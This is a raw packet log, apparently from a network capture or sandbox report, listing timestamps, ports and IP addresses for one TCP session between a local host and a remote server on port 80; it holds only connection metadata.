Oct 24, 2024 18:08:23.891041040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891078949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891082048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891115904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891149044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891149998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891186953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891202927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891243935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891277075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891324043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891310930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891357899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891391039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891401052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891429901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891464949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891494989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891546965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891580105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891587019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891613007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891622066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891645908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891679049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891686916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891712904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891743898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891777039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891782999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891813040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891846895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891853094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.891885042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.891886950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.933929920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.934483051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934504032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934525967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934549093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.934566021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934597969 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.934695959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934710979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934747934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.934849024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934863091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934879065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934894085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934907913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934910059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.934925079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934933901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.934947014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934961081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.934963942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934978962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.934995890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.935000896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.935010910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.935025930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.935025930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.935054064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.937592983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.937643051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.937660933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.937684059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.938829899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.938863039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.938904047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939029932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939055920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939071894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939071894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939088106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939107895 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939114094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939129114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939143896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939148903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939162016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939177990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939193010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939193010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939208984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939214945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939224005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939238071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939239979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939265966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939280987 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939281940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939296007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939311028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939327955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939337015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939349890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939352989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939368010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939383030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939397097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939399004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939414024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939418077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939429045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939444065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939444065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939460039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939476013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939482927 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939491034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939506054 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939507961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939539909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939613104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939627886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939646959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939671040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939677954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939687967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939702034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939712048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939728022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939742088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939758062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939768076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939783096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939794064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939809084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939824104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939837933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939841032 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939856052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939861059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939873934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939888000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939888000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939903975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939918995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939924955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939934969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939949036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.939949036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939974070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.939982891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.940080881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.940093994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.940109968 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.940412998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.941426039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.941531897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972368002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972392082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972409010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972414017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.972425938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972441912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972445965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.972457886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972474098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972490072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.972490072 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.972518921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973140001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973176956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973186016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973191977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973253012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973270893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973270893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973287106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973303080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973319054 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973340988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973388910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973404884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973419905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973433971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973434925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973448992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973464966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973476887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973480940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973498106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973534107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973548889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973563910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973577976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973581076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973593950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973604918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973608971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973627090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973634005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973648071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973664045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973664045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973680019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973709106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973711014 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973723888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973740101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973754883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973757982 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973768950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973771095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973786116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973795891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973803043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973829031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973838091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973845005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973864079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973876953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973891973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973895073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973906994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973915100 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973923922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973937988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973937988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973953009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973978043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.973978043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.973994970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974009037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974014044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974035025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974035978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974050045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974067926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974081993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974085093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974098921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974112034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974116087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974129915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974159002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974184036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974200010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974222898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974237919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974240065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974253893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974256039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974462032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974478006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974493027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974493980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974509001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974513054 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974538088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974538088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974555016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974582911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974596024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974622011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974637985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974653959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974668980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974669933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974685907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974689960 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974699020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974713087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.974837065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974850893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.974884033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975030899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975045919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975061893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975079060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975090981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975158930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975172997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975188971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975207090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975214958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975230932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975248098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975259066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975281954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975368023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975383043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975398064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975429058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975502968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975518942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975534916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975548983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975552082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975564957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975567102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975589991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975599051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975605965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975619078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975632906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975647926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975649118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975661993 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975668907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975686073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975701094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975701094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975738049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975860119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975876093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975891113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975920916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.975982904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.975996971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976013899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976013899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976030111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976047039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976061106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976061106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976079941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976109028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976123095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976150036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976154089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976171970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976181030 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976187944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976202965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976222992 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976417065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976433039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976448059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976449966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976463079 CEST	80	49744	185.215.113.16	192.168.2.6
